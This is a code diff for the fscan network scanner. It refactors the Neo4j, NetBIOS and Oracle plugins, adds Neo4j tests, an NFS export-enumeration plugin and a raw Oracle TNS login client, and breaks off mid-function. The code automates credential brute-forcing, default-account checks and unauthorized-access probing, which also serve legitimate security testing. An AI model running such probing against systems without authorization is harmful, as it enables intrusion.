context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { config := session.Config - state := session.State target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 先测试未授权访问 - if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success { - common.LogVuln(i18n.Tr("neo4j_unauth", target)) + if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { + session.LogVuln(i18n.Tr("neo4j_unauth", target)) return result } @@ -45,33 +44,34 @@ func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, session * return &ScanResult{ Success: false, Service: "neo4j", - Error: fmt.Errorf("没有可用的测试凭据"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_credentials")), } } // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) + authFn := p.createAuthFunc(info, session) testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "neo4j", testConfig) if result.Success { - common.LogVuln(i18n.Tr("neo4j_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("neo4j_credential", target, result.Username, result.Password)) } return result } // createAuthFunc 创建Neo4j认证函数 -func (p *Neo4jPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *Neo4jPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doNeo4jAuth(ctx, info, cred, config, state) + return p.doNeo4jAuth(ctx, info, cred, session) } } // doNeo4jAuth 执行Neo4j认证 -func (p *Neo4jPlugin) doNeo4jAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port) +func (p *Neo4jPlugin) doNeo4jAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { + config := session.Config + baseURL := "http://" + info.Target() client := &http.Client{Timeout: config.Timeout} @@ -87,16 +87,14 @@ func (p *Neo4jPlugin) doNeo4jAuth(ctx context.Context, info *common.HostInfo, cr req.SetBasicAuth(cred.Username, cred.Password) req.Header.Set("Content-Type", "application/json") - resp, err := client.Do(req) + resp, err := session.HTTPDo(client, req) if err != nil { - state.IncrementTCPFailedPacketCount() return &AuthResult{ Success: false, ErrorType: classifyNeo4jErrorType(err), Error: err, } } - state.IncrementTCPSuccessPacketCount() defer func() { _ = resp.Body.Close() }() if resp.StatusCode == 200 { @@ -112,14 +110,14 @@ func (p *Neo4jPlugin) doNeo4jAuth(ctx context.Context, info *common.HostInfo, cr return &AuthResult{ Success: false, ErrorType: ErrorTypeAuth, - Error: fmt.Errorf("认证失败,状态码: %d", resp.StatusCode), + Error: fmt.Errorf(i18n.GetText("service_auth_failed")+": %d", resp.StatusCode), } } return &AuthResult{ Success: false, ErrorType: ErrorTypeUnknown, - Error: fmt.Errorf("未知错误,状态码: %d", resp.StatusCode), + Error: fmt.Errorf(i18n.GetText("unknown_status_code")+": %d", resp.StatusCode), } } @@ -147,8 +145,9 @@ func classifyNeo4jErrorType(err error) ErrorType { return ClassifyError(err, neo4jAuthErrors, CommonNetworkErrors) } -func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { - baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port) +func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + baseURL := "http://" + info.Target() client := &http.Client{Timeout: config.Timeout} @@ -157,29 +156,43 @@ func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H return nil } - resp, err := client.Do(req) + resp, err := session.HTTPDo(client, req) if err != nil { - state.IncrementTCPFailedPacketCount() return nil } - state.IncrementTCPSuccessPacketCount() defer func() { _ = resp.Body.Close() }() if resp.StatusCode == 200 { + body, err := io.ReadAll(resp.Body) + if err != nil { + return &ScanResult{ + Success: false, + Service: "neo4j", + Error: err, + } + } + if !strings.Contains(strings.ToLower(string(body)), "neo4j") { + return &ScanResult{ + Success: false, + Service: "neo4j", + Error: fmt.Errorf("%s", i18n.Tr("service_not_identified", "Neo4j")), + } + } return &ScanResult{ Type: plugins.ResultTypeVuln, Success: true, Service: "neo4j", - Banner: "未授权访问", + Banner: i18n.GetText("service_unauthorized"), } } return nil } -func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() - baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port) + baseURL := "http://" + info.Target() client := &http.Client{Timeout: config.Timeout} @@ -192,16 +205,14 @@ func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo } } - resp, err := client.Do(req) + resp, err := session.HTTPDo(client, req) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "neo4j", Error: err, } } - state.IncrementTCPSuccessPacketCount() defer func() { _ = resp.Body.Close() }() var banner string @@ -210,21 +221,32 @@ func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo if serverHeader != "" && strings.Contains(strings.ToLower(serverHeader), "neo4j") { banner = "Neo4j" } else if resp.StatusCode == 200 || resp.StatusCode == 401 { - body, _ := io.ReadAll(resp.Body) + body, err := io.ReadAll(resp.Body) + if err != nil { + return &ScanResult{ + Success: false, + Service: "neo4j", + Error: err, + } + } if strings.Contains(strings.ToLower(string(body)), "neo4j") { banner = "Neo4j" } else { - banner = "Neo4j" + return &ScanResult{ + Success: false, + Service: "neo4j", + Error: fmt.Errorf("%s", i18n.Tr("service_not_identified", "Neo4j")), + } } } else { return &ScanResult{ Success: false, Service: "neo4j", - Error: fmt.Errorf("无法识别为Neo4j服务"), + Error: fmt.Errorf("%s", i18n.Tr("service_not_identified", "Neo4j")), } } - common.LogSuccess(i18n.Tr("neo4j_service", target, banner)) + session.LogSuccess(i18n.Tr("neo4j_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, diff --git a/plugins/services/neo4j_test.go b/plugins/services/neo4j_test.go new file mode 100644 index 0000000..0ad6a9f --- /dev/null +++ b/plugins/services/neo4j_test.go @@ -0,0 +1,59 @@ +package services + +import ( + "context" + "net" + "net/http" + "net/http/httptest" + "net/url" + "strconv" + "testing" + + "github.com/shadow1ng/fscan/common" +) + +func testSession() *common.ScanSession { + cfg := common.NewConfig() + return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) +} + +func hostInfoFromServer(t *testing.T, server *httptest.Server) *common.HostInfo { + t.Helper() + u, err := url.Parse(server.URL) + if err != nil { + t.Fatalf("Parse server URL error = %v", err) + } + host, portText, err := net.SplitHostPort(u.Host) + if err != nil { + t.Fatalf("SplitHostPort error = %v", err) + } + port, err := strconv.Atoi(portText) + if err != nil { + t.Fatalf("Atoi port error = %v", err) + } + return &common.HostInfo{Host: host, Port: port} +} + +func TestNeo4jIdentifyRejectsGenericHTTP(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + _, _ = w.Write([]byte("plain http service")) + })) + defer server.Close() + + result := NewNeo4jPlugin().identifyService(context.Background(), hostInfoFromServer(t, server), testSession()) + if result.Success { + t.Fatalf("identifyService reported generic HTTP as Neo4j: %#v", result) + } +} + +func TestNeo4jUnauthorizedRequiresNeo4jBody(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + _, _ = w.Write([]byte("ok")) + })) + defer server.Close() + + result := NewNeo4jPlugin().testUnauthorizedAccess(context.Background(), hostInfoFromServer(t, server), testSession()) + if result != nil && result.Success { + t.Fatalf("testUnauthorizedAccess reported generic 200 as Neo4j: %#v", result) + } +} diff --git a/plugins/services/netbios.go b/plugins/services/netbios.go index 3165acb..f509152 100644 --- a/plugins/services/netbios.go +++ b/plugins/services/netbios.go @@ -11,6 +11,7 @@ import ( "time" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins" ) @@ -39,7 +40,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session return &ScanResult{ Success: false, Service: "netbios", - Error: fmt.Errorf("NetBIOS插件仅支持137和139端口"), + Error: fmt.Errorf("%s", i18n.GetText("netbios_port_only")), } } @@ -66,7 +67,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session return &ScanResult{ Success: false, Service: "netbios", - Error: fmt.Errorf("未发现有效的NetBIOS信息"), + Error: fmt.Errorf("%s", i18n.GetText("netbios_info_not_found")), } } @@ -75,11 +76,11 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session if netbiosInfo.Summary() != "" { msg += fmt.Sprintf(" %s", netbiosInfo.Summary()) } - common.LogSuccess(msg) + session.LogSuccess(msg) return &ScanResult{ Success: true, - Type: plugins.ResultTypeService, + Type: plugins.ResultTypeService, Service: "netbios", Banner: netbiosInfo.Summary(), } @@ -164,7 +165,7 @@ func (p *NetBIOSPlugin) queryNetBIOSNames(host string, config *common.Config, st conn, err := net.DialTimeout("udp", target, config.Timeout) if err != nil { - return nil, fmt.Errorf("连接NetBIOS名称服务失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_name_connect_failed"), err) } state.IncrementUDPPacketCount() defer func() { _ = conn.Close() }() @@ -173,13 +174,13 @@ func (p *NetBIOSPlugin) queryNetBIOSNames(host string, config *common.Config, st _, err = conn.Write(queryPacket) if err != nil { - return nil, fmt.Errorf("发送NetBIOS查询失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_query_send_failed"), err) } response := make([]byte, 1024) n, err := conn.Read(response) if err != nil { - return nil, fmt.Errorf("读取NetBIOS响应失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_response_read_failed"), err) } return p.parseNetBIOSNames(response[:n]) @@ -191,7 +192,7 @@ func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, se conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - return nil, fmt.Errorf("连接NetBIOS会话服务失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_session_connect_failed"), err) } defer func() { _ = conn.Close() }() @@ -212,13 +213,13 @@ func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, se _, err = conn.Write(smbNegotiate1) if err != nil { - return nil, fmt.Errorf("发送SMB协商1失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_smb_negotiate_send_failed"), err) } response1 := make([]byte, 1024) _, err = conn.Read(response1) if err != nil { - return nil, fmt.Errorf("读取SMB协商1响应失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_smb_negotiate_read_failed"), err) } // 发送Session Setup请求 @@ -244,13 +245,13 @@ func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, se _, err = conn.Write(smbSessionSetup) if err != nil { - return nil, fmt.Errorf("发送SMB Session Setup失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_smb_session_send_failed"), err) } response2 := make([]byte, 2048) n, err := conn.Read(response2) if err != nil { - return nil, fmt.Errorf("读取SMB Session Setup响应失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_smb_session_read_failed"), err) } return p.parseNetBIOSSession(response2[:n]) @@ -261,13 +262,13 @@ func (p *NetBIOSPlugin) parseNetBIOSNames(data []byte) (*NetBIOSInfo, error) { info := &NetBIOSInfo{Valid: false} if len(data) < 57 { - return info, fmt.Errorf("NetBIOS响应数据过短") + return info, fmt.Errorf("%s", i18n.GetText("netbios_response_too_short")) } // 获取名称记录数量 numNames := int(data[56]) if numNames == 0 { - return info, fmt.Errorf("没有NetBIOS名称记录") + return info, fmt.Errorf("%s", i18n.GetText("netbios_no_name_records")) } nameData := data[57:] @@ -333,7 +334,7 @@ func (p *NetBIOSPlugin) parseNetBIOSSession(data []byte) (*NetBIOSInfo, error) { info := &NetBIOSInfo{Valid: false} if len(data) < 47 { - return info, fmt.Errorf("SMB响应数据过短") + return info, fmt.Errorf("%s", i18n.GetText("netbios_smb_response_too_short")) } info.Valid = true diff --git a/plugins/services/nfs.go b/plugins/services/nfs.go new file mode 100644 index 0000000..a9a72e4 --- /dev/null +++ b/plugins/services/nfs.go @@ -0,0 +1,239 @@ +//go:build plugin_nfs || !plugin_selective + +package services + +import ( + "context" + "encoding/binary" + "fmt" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins" +) + +type NFSPlugin struct { + plugins.BasePlugin +} + +func NewNFSPlugin() *NFSPlugin { + return &NFSPlugin{BasePlugin: plugins.NewBasePlugin("nfs")} +} + +func (p *NFSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + timeout := session.Config.Timeout + if timeout <= 0 { + timeout = 3 * time.Second + } + + addr := info.Target() + conn, err := session.DialTCP(ctx, "tcp", addr, timeout) + if err != nil { + return &ScanResult{Success: false, Service: "nfs"} + } + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(timeout)) + + // NFS NULL call (program=100003, version=3, procedure=0) to confirm NFS service + if err := p.rpcNullCall(conn, 100003, 3); err != nil { + // Try v4 on a fresh connection + conn.Close() + c, dialErr := session.DialTCP(ctx, "tcp", addr, timeout) + if dialErr != nil { + return &ScanResult{Success: false, Service: "nfs"} + } + defer c.Close() + _ = c.SetDeadline(time.Now().Add(timeout)) + if err := p.rpcNullCall(c, 100003, 4); err != nil { + return &ScanResult{Success: false, Service: "nfs"} + } + } + + // NFS confirmed. Try MOUNT EXPORT on a separate connection (port 2049 may also host mountd). + var exports []string + mountConn, err := session.DialTCP(ctx, "tcp", addr, timeout) + if err == nil { + _ = mountConn.SetDeadline(time.Now().Add(timeout)) + exports, _ = p.getExports(mountConn) + mountConn.Close() + } + + if len(exports) > 0 { + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeVuln, + Service: "nfs", + VulInfo: fmt.Sprintf("NFS Exported Shares: %v", exports), + Banner: fmt.Sprintf("NFS exports: %v", exports), + } + } + + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeService, + Service: "nfs", + Banner: "NFS service detected", + } +} + +func (p *NFSPlugin) rpcNullCall(conn interface { + Read([]byte) (int, error) + Write([]byte) (int, error) +}, program, version uint32) error { + xid := uint32(0x12340000 + program) + rpcCall := p.buildRPCCall(xid, program, version, 0, nil) + rpcFragment := p.wrapRPCFragment(rpcCall) + + if _, err := conn.Write(rpcFragment); err != nil { + return err + } + + buf := make([]byte, 512) + n, err := conn.Read(buf) + if err != nil || n < 28 { + return fmt.Errorf("short response") + } + + reply := buf[4:n] + replyXID := binary.BigEndian.Uint32(reply[0:4]) + if replyXID != xid { + return fmt.Errorf("xid mismatch") + } + msgType := binary.BigEndian.Uint32(reply[4:8]) + if msgType != 1 { + return fmt.Errorf("not a reply") + } + return nil +} + +func (p *NFSPlugin) getExports(conn interface { + Read([]byte) (int, error) + Write([]byte) (int, error) +}) ([]string, error) { + // Sun RPC call: program=MOUNT(100005), version=3, procedure=EXPORT(5) + xid := uint32(0x12345678) + rpcCall := p.buildRPCCall(xid, 100005, 3, 5, nil) + rpcFragment := p.wrapRPCFragment(rpcCall) + + if _, err := conn.Write(rpcFragment); err != nil { + return nil, err + } + + // Read fragment header (4 bytes) + response + buf := make([]byte, 4096) + n, err := conn.Read(buf) + if err != nil || n < 28 { + return nil, fmt.Errorf("short response: %d bytes", n) + } + + // Skip fragment header (4 bytes), parse RPC reply + reply := buf[4:n] + if len(reply) < 24 { + return nil, fmt.Errorf("invalid reply") + } + + replyXID := binary.BigEndian.Uint32(reply[0:4]) + if replyXID != xid { + return nil, fmt.Errorf("xid mismatch") + } + msgType := binary.BigEndian.Uint32(reply[4:8]) + if msgType != 1 { // REPLY + return nil, fmt.Errorf("not a reply") + } + replyStatus := binary.BigEndian.Uint32(reply[8:12]) + if replyStatus != 0 { // MSG_ACCEPTED + return nil, fmt.Errorf("reply rejected") + } + + // Skip auth verifier + offset := 12 + if offset+8 > len(reply) { + return nil, fmt.Errorf("truncated") + } + // verifier flavor + length + verifierLen := binary.BigEndian.Uint32(reply[offset+4 : offset+8]) + offset += 8 + int(verifierLen) + + // Accept status + if offset+4 > len(reply) { + return nil, fmt.Errorf("truncated") + } + acceptStatus := binary.BigEndian.Uint32(reply[offset : offset+4]) + if acceptStatus != 0 { // SUCCESS + return nil, fmt.Errorf("accept status: %d", acceptStatus) + } + offset += 4 + + return p.parseExportList(reply[offset:]), nil +} + +func (p *NFSPlugin) parseExportList(data []byte) []string { + var exports []string + offset := 0 + for offset+4 <= len(data) { + valueFollows := binary.BigEndian.Uint32(data[offset : offset+4]) + offset += 4 + if valueFollows == 0 { + break + } + if offset+4 > len(data) { + break + } + strLen := binary.BigEndian.Uint32(data[offset : offset+4]) + offset += 4 + if int(strLen) > len(data)-offset { + break + } + exports = append(exports, string(data[offset:offset+int(strLen)])) + offset += int(strLen) + // Align to 4 bytes + if pad := (4 - strLen%4) % 4; pad > 0 { + offset += int(pad) + } + // Skip group list + for offset+4 <= len(data) { + groupFollows := binary.BigEndian.Uint32(data[offset : offset+4]) + offset += 4 + if groupFollows == 0 { + break + } + if offset+4 > len(data) { + break + } + groupLen := binary.BigEndian.Uint32(data[offset : offset+4]) + offset += 4 + int(groupLen) + if pad := (4 - groupLen%4) % 4; pad > 0 { + offset += int(pad) + } + } + } + return exports +} + +func (p *NFSPlugin) buildRPCCall(xid, program, version, procedure uint32, data []byte) []byte { + authNone := []byte{0, 0, 0, 0, 0, 0, 0, 0} // AUTH_NONE flavor=0, len=0 + + buf := make([]byte, 0, 40+len(data)) + buf = binary.BigEndian.AppendUint32(buf, xid) + buf = binary.BigEndian.AppendUint32(buf, 0) // CALL + buf = binary.BigEndian.AppendUint32(buf, 2) // RPC version + buf = binary.BigEndian.AppendUint32(buf, program) + buf = binary.BigEndian.AppendUint32(buf, version) + buf = binary.BigEndian.AppendUint32(buf, procedure) + buf = append(buf, authNone...) // credentials + buf = append(buf, authNone...) // verifier + buf = append(buf, data...) + return buf +} + +func (p *NFSPlugin) wrapRPCFragment(data []byte) []byte { + header := make([]byte, 4) + binary.BigEndian.PutUint32(header, uint32(len(data))|0x80000000) // last fragment + return append(header, data...) +} + +func init() { + RegisterPluginWithPorts("nfs", func() Plugin { + return NewNFSPlugin() + }, []int{2049}) +} diff --git a/plugins/services/oracle.go b/plugins/services/oracle.go index 2a6223f..c8103d8 100644 --- a/plugins/services/oracle.go +++ b/plugins/services/oracle.go @@ -4,13 +4,11 @@ package services import ( "context" - "database/sql" "fmt" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins" - _ "github.com/sijms/go-ora/v2" ) // OraclePlugin Oracle扫描插件 @@ -34,8 +32,8 @@ func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, session } // 先测试未授权访问 - if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success { - common.LogSuccess(i18n.Tr("oracle_service", target, result.Banner)) + if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { + session.LogSuccess(i18n.Tr("oracle_service", target, result.Banner)) return result } @@ -44,7 +42,7 @@ func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, session return &ScanResult{ Success: false, Service: "oracle", - Error: fmt.Errorf("没有可用的测试凭据"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_credentials")), } } @@ -55,7 +53,7 @@ func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, session result := TestCredentialsConcurrently(ctx, credentials, authFn, "oracle", testConfig) if result.Success { - common.LogVuln(i18n.Tr("oracle_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("oracle_credential", target, result.Username, result.Password)) } return result @@ -74,23 +72,9 @@ func (p *OraclePlugin) doOracleAuth(ctx context.Context, info *common.HostInfo, serviceNames := []string{"ORCL", "XE", "XEPDB1", target} for _, serviceName := range serviceNames { - connStr := fmt.Sprintf("oracle://%s:%s@%s/%s", cred.Username, cred.Password, target, serviceName) - connectCtx, cancel := context.WithTimeout(ctx, config.Timeout) - - db, err := sql.Open("oracle", connStr) + err := oracleRawAuth(connectCtx, info.Host, info.Port, serviceName, cred.Username, cred.Password, config.Timeout) if err != nil { - cancel() - continue - } - - db.SetMaxOpenConns(1) - db.SetMaxIdleConns(0) - db.SetConnMaxLifetime(config.Timeout) - - err = db.PingContext(connectCtx) - if err != nil { - _ = db.Close() cancel() errorType := classifyOracleErrorType(err) if errorType == ErrorTypeAuth { @@ -108,7 +92,6 @@ func (p *OraclePlugin) doOracleAuth(ctx context.Context, info *common.HostInfo, return &AuthResult{ Success: true, - Conn: &SQLDBWrapper{db}, ErrorType: ErrorTypeUnknown, Error: nil, } @@ -118,7 +101,7 @@ func (p *OraclePlugin) doOracleAuth(ctx context.Context, info *common.HostInfo, return &AuthResult{ Success: false, ErrorType: ErrorTypeNetwork, - Error: fmt.Errorf("无法连接到Oracle数据库"), + Error: fmt.Errorf("%s", i18n.GetText("oracle_connect_failed")), } } @@ -150,7 +133,9 @@ func classifyOracleErrorType(err error) ErrorType { } // testUnauthorizedAccess 测试Oracle未授权访问 -func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() defaultAccounts := []Credential{ @@ -165,14 +150,14 @@ func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common. if result.Conn != nil { _ = result.Conn.Close() } - common.LogVuln(i18n.Tr("oracle_default_account", target, cred.Username, cred.Password)) + session.LogVuln(i18n.Tr("oracle_default_account", target, cred.Username, cred.Password)) return &ScanResult{ Type: plugins.ResultTypeVuln, Success: true, Service: "oracle", Username: cred.Username, Password: cred.Password, - Banner: "未授权访问 - 默认账户", + Banner: i18n.GetText("oracle_default_account_banner"), } } } @@ -194,7 +179,7 @@ func (p *OraclePlugin) identifyService(ctx context.Context, info *common.HostInf _ = conn.Close() banner := "Oracle" - common.LogSuccess(i18n.Tr("oracle_service", target, banner)) + session.LogSuccess(i18n.Tr("oracle_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, diff --git a/plugins/services/oracle_raw.go b/plugins/services/oracle_raw.go new file mode 100644 index 0000000..f74767a --- /dev/null +++ b/plugins/services/oracle_raw.go @@ -0,0 +1,1980 @@ +//go:build plugin_oracle || !plugin_selective + +package services + +/* +Minimal Oracle TNS authentication probe. + +Parts of the packet layout and password verifier handling are derived from +github.com/sijms/go-ora/v2, which is licensed under the MIT License: + +Copyright (c) 2020 Samy Sultan + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. +*/ + +import ( + "bytes" + "context" + "crypto/aes" + "crypto/cipher" + "crypto/des" + "crypto/hmac" + "crypto/md5" + "crypto/rand" + "crypto/sha1" + "crypto/sha512" + "encoding/binary" + "encoding/hex" + "errors" + "fmt" + "io" + "net" + "strconv" + "strings" + "time" +) + +const ( + oraclePacketConnect = 1 + oraclePacketAccept = 2 + oraclePacketRefuse = 4 + oraclePacketRedirect = 5 + oraclePacketData = 6 + oraclePacketResend = 11 + + oracleNoNewPass = 0x1 + oracleUserAndPass = 0x100 + + oracleTypeRepNative int16 = 0 + oracleTypeRepUniversal int16 = 1 + oracleTypeRepOracle int16 = 10 +) + +var errOracleAuthFailed = errors.New("oracle authentication failed") + +type oracleSession struct { + conn net.Conn + in []byte + out bytes.Buffer + index int + version uint16 + negotiatedOptions uint16 + sessionDataUnit uint32 + transportDataUnit uint32 + acfl0 uint8 + acfl1 uint8 + handshakeComplete bool + ttcVersion uint8 + hasEOSCapability bool + hasFSAPCapability bool + useBigClrChunks bool + clrChunkSize int + timeout time.Duration + summary *oracleSummary +} + +type oracleTCPNego struct { + serverCharset int + serverFlags uint8 + serverNCharset int + serverCompileTimeCaps []byte + serverRuntimeCaps []byte +} + +type oracleSummary struct { + retCode int + errorMessage []byte +} + +func oracleRawAuth(ctx context.Context, host string, port int, serviceName, username, password string, timeout time.Duration) error { + addr := net.JoinHostPort(host, strconv.Itoa(port)) + dialer := net.Dialer{Timeout: timeout} + conn, err := dialer.DialContext(ctx, "tcp", addr) + if err != nil { + return err + } + defer conn.Close() + + s := &oracleSession{ + conn: conn, + version: 317, + sessionDataUnit: 0x200000, + transportDataUnit: 0x200000, + clrChunkSize: 0x40, + timeout: timeout, + } + if err := s.connect(ctx, host, port, serviceName); err != nil { + return err + } + if s.acfl0&1 != 0 && s.acfl0&4 == 0 && s.acfl1&8 == 0 { + if err := s.advancedNegotiation(); err != nil { + return err + } + } + nego, err := s.protocolNegotiation() + if err != nil { + return err + } + if err := s.dataTypeNegotiation(nego); err != nil { + return err + } + return s.authenticate(nego, host, port, serviceName, username, password) +} + +func (s *oracleSession) connect(ctx context.Context, host string, port int, serviceName string) error { + connectData := oracleConnectData(host, port, serviceName) + packetLen := 70 + len(connectData) + if len(connectData) > 230 { + packetLen = 70 + } + buf := make([]byte, packetLen) + binary.BigEndian.PutUint16(buf[0:2], uint16(packetLen)) + buf[4] = oraclePacketConnect + binary.BigEndian.PutUint16(buf[8:10], 317) + binary.BigEndian.PutUint16(buf[10:12], 300) + binary.BigEndian.PutUint16(buf[12:14], 1|2048) + binary.BigEndian.PutUint16(buf[14:16], 0xffff) + binary.BigEndian.PutUint16(buf[16:18], 0xffff) + buf[18] = 79 + buf[19] = 152 + binary.BigEndian.PutUint16(buf[22:24], 1) + binary.BigEndian.PutUint16(buf[24:26], uint16(len(connectData))) + binary.BigEndian.PutUint16(buf[26:28], 70) + buf[32] = 1 + buf[33] = 1 + binary.BigEndian.PutUint32(buf[58:62], s.sessionDataUnit) + binary.BigEndian.PutUint32(buf[62:66], s.transportDataUnit) + if len(connectData) <= 230 { + copy(buf[70:], connectData) + } + if err := s.writeRaw(ctx, buf); err != nil { + return err + } + if len(connectData) > 230 { + s.reset() + s.putBytes([]byte(connectData)...) + if err := s.writeData(); err != nil { + return err + } + } + p, err := s.readPacket() + if err != nil { + return err + } + switch p.typ { + case oraclePacketAccept: + if len(p.raw) < 40 { + return errors.New("short oracle accept packet") + } + s.version = binary.BigEndian.Uint16(p.raw[8:10]) + s.negotiatedOptions = binary.BigEndian.Uint16(p.raw[10:12]) + s.sessionDataUnit = uint32(binary.BigEndian.Uint16(p.raw[12:14])) + s.transportDataUnit = uint32(binary.BigEndian.Uint16(p.raw[14:16])) + if s.version >= 315 { + s.sessionDataUnit = binary.BigEndian.Uint32(p.raw[32:36]) + s.transportDataUnit = binary.BigEndian.Uint32(p.raw[36:40]) + } + if s.transportDataUnit < s.sessionDataUnit { + s.sessionDataUnit = s.transportDataUnit + } + s.acfl0 = p.raw[22] + s.acfl1 = p.raw[23] + s.handshakeComplete = true + return nil + case oraclePacketRefuse: + return oracleRefuseError(p.raw) + case oraclePacketRedirect: + return errors.New("oracle redirect is not supported by lightweight auth") + default: + return fmt.Errorf("unexpected oracle packet type %d", p.typ) + } +} + +func oracleConnectData(host string, port int, serviceName string) string { + address := fmt.Sprintf("(ADDRESS=(PROTOCOL=tcp)(HOST=%s)(PORT=%d))", host, port) + connectData := "(CONNECT_DATA=(SERVICE_NAME=" + serviceName + "))" + return "(DESCRIPTION=" + address + connectData + ")" +} + +type oraclePacket struct { + typ uint8 + flag uint8 + raw []byte + data []byte +} + +func (s *oracleSession) readPacket() (*oraclePacket, error) { + header := make([]byte, 8) + if err := s.readFull(header); err != nil { + return nil, err + } + var length uint32 + if s.handshakeComplete && s.version >= 315 { + length = binary.BigEndian.Uint32(header[0:4]) + } else { + length = uint32(binary.BigEndian.Uint16(header[0:2])) + } + if length < 8 || length > 16*1024*1024 { + return nil, fmt.Errorf("invalid oracle packet length %d", length) + } + raw := make([]byte, length) + copy(raw, header) + if err := s.readFull(raw[8:]); err != nil { + return nil, err + } + p := &oraclePacket{typ: raw[4], flag: raw[5], raw: raw} + if p.typ == oraclePacketData { + if len(raw) < 10 { + return nil, errors.New("short oracle data packet") + } + p.data = raw[10:] + s.in = append(s.in, p.data...) + } + return p, nil +} + +func (s *oracleSession) readFull(buf []byte) error { + if s.timeout > 0 { + _ = s.conn.SetReadDeadline(time.Now().Add(s.timeout)) + } + _, err := io.ReadFull(s.conn, buf) + return err +} + +func (s *oracleSession) writeRaw(ctx context.Context, buf []byte) error { + if deadline, ok := ctx.Deadline(); ok { + _ = s.conn.SetWriteDeadline(deadline) + } else if s.timeout > 0 { + _ = s.conn.SetWriteDeadline(time.Now().Add(s.timeout)) + } + _, err := s.conn.Write(buf) + return err +} + +func (s *oracleSession) writeData() error { + payload := s.out.Bytes() + if len(payload) == 0 { + return s.writeDataPacket(nil, 0) + } + segmentLen := int(s.sessionDataUnit) - 64 + if segmentLen <= 0 { + segmentLen = len(payload) + } + for len(payload) > segmentLen { + if err := s.writeDataPacket(payload[:segmentLen], 0); err != nil { + 